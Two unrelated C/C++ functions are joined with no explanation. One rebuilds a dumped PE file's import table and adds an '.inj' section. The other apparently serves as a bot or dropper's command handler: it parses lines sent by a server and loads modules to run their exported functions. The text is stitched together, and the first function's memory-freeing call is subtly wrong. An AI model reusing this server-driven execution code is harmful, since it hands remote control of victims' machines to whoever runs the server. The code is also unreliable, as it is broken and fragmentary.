BOOL PrepareReconstruct(PBYTE *pDump, PULONG_PTR AllocSize) { PBYTE pNewDump = NULL; ULONG_PTR RVAIT; ULONG_PTR SizeNewSection; GetITSectionSizeRVA((ULONG_PTR)*pDump, &SizeNewSection, &RVAIT); pNewDump = (PBYTE)VirtualAlloc(NULL, *AllocSize + SizeNewSection, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pNewDump) { DbgMsg("[-] PrepareReconstruct - VirtualAlloc failed\n"); return FALSE; } memset(pNewDump, 0, *AllocSize + SizeNewSection); memcpy(pNewDump, *pDump, *AllocSize); VirtualFree(pDump, (SIZE_T)AllocSize, 0); BuildIT(pNewDump, RVAIT); AddPESection((ULONG_PTR)pNewDump, ".inj", (DWORD)RVAIT, (DWORD)SizeNewSection, (DWORD)RVAIT, pinfo.Importer.TotalSizeIT); EditPE((ULONG_PTR)pNewDump, SIZE_OF_IMAGE, (PVOID)(RVAIT + SizeNewSection)); EditPE((ULONG_PTR)pNewDump, IMPORT_TABLE, (PVOID)RVAIT); EditPE((ULONG_PTR)pNewDump, IMPORT_TABLE_SIZE, (PVOID)pinfo.Importer.TotalSizeIT); EditPE((ULONG_PTR)pNewDump, IMPORT_ADDRESS_TABLE, (PVOID)pinfo.Importer.StartIATRVA); EditPE((ULONG_PTR)pNewDump, IMPORT_ADDRESS_TABLE_SIZE, (PVOID)(pinfo.Importer.NbTotalApis * sizeof (ULONG_PTR))); *pDump = pNewDump; *AllocSize = (*AllocSize + SizeNewSection); return TRUE; }
DWORD Server::ProcessServerAnswer(PCHAR Buffer) { PCHAR CurrentCommand; PCHAR Commands = Buffer; while (Utils::StringTokenBreak(&Commands, "\r\n", &CurrentCommand)) { CHAR Module[MAX_PATH] = {0}; CHAR Procedure[MAX_PATH] = {0}; CHAR Parameters[MAX_PATH] = {0}; DWORD Scaned = sscanf(CurrentCommand, "%[^.].%[^(](%[^)])", Module, Procedure, Parameters); if (Scaned == 3 || Scaned == 2) { PVOID ModuleBase = !lstrcmpi("main", Module) ? Drop::CurrentImageBase : Modules::ModuleLoad(Module); if (ModuleBase) { DWORD_PTR Result = Utils::ExecExportProcedure(ModuleBase, Procedure, Parameters); DbgMsg(__FUNCTION__"(): Command '%s' = %x\r\n", CurrentCommand, Result); } } free(CurrentCommand); } free(Buffer); return 0; }